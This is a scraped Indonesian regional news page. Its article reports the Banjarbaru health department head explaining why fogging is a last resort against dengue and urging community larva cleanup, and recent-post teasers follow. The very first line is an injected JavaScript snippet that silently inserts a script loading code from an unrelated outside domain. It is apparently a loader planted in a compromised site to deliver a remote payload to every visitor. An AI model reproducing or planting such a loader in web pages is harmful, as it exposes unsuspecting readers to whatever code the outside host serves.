(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Fogging Langkah Akhir Tangani DBD, Ini Alasannya Menurut Kadinkes Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru kini meningkatkan kewaspadaan terhadap kasus Demam Berdarah Dengue (DBD). Berbagai upaya dilakukan menekan kasus DBD, diantaranya rutin melakukan pembersihan lingkungan, pembagian bubuk abate hingga fogging.

Namun, hanya saja fogging menjadi jalan terakhir yang harus ditempuh. Hal ini dikarenakan fogging tidak mampu mematikan jentik melainkan hanya membunuh nyamuk dewasa.

Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru dr Juhai Triyanti Agustina mengatakan, fogging dapat dilakukan jika terjadi kasus DBD di wilayah tersebut, ditindak oleh tim survailen epedemiologi yang menilai kelayakan tempat tersebut untuk difogging.

“Kalau bubuk abate silakan datang ke Puskesmas setempat di bagian sanitasi kesehatan lingkungan, bisa mendapatkannya,” sebut Kadinkes Banjarbaru, Sabtu (18/3/2023).

 

Baca juga: Jokowi Resmikan Jalan Nan Sarunai Sepanjang 4,2 Km di Tabalong

Dijelaskan dr Juhai untuk tindakan fogging tidaklah disarankan karena didalamnya terkandung insektisida dan dapat menghasilkan polosi udara dan bau yang melekat dibagian yang terkena fogging.

Oleh karena itu Kota Banjarbaru melaunching program Gertak Bapuputik (Gerakan Serentak Banjarbaru Sapu dan Punahkan Jentik Nyamuk DBD) beberapa waktu lalu.

“Program ini dikhususkan kepada masyarakat tanpa terkecuali setiap minggunya bisa melakukan bersih-bersih lingkungan sekitar,” katanya.

Tanpa adanya komitmen dari wilayah untuk gotong-royong membersihkan lingkungan, kata dr Juhai, upaya menekan pertumbuhan jentik-jentik di lingkungan tidak akan pernah berhasil.

Baca juga: Mie Instan dan Air Mineral Diberikan kepada Korban Banjir di Martapura

Dirinya juga mengimbau agar terus menggalakkan gerakan Pemberantasan Sarang Nyamuk (PSN) 3M Plus dengan cara menguras tempat penampungan air, menutup penampungan air, mengubur barang bekas. Serta menghindari gigitan nyamuk dengan cara menggunakan kelambu dan menyalakan obat nyamuk. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

2 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

3 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

4 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

7 jam ago

This website uses cookies.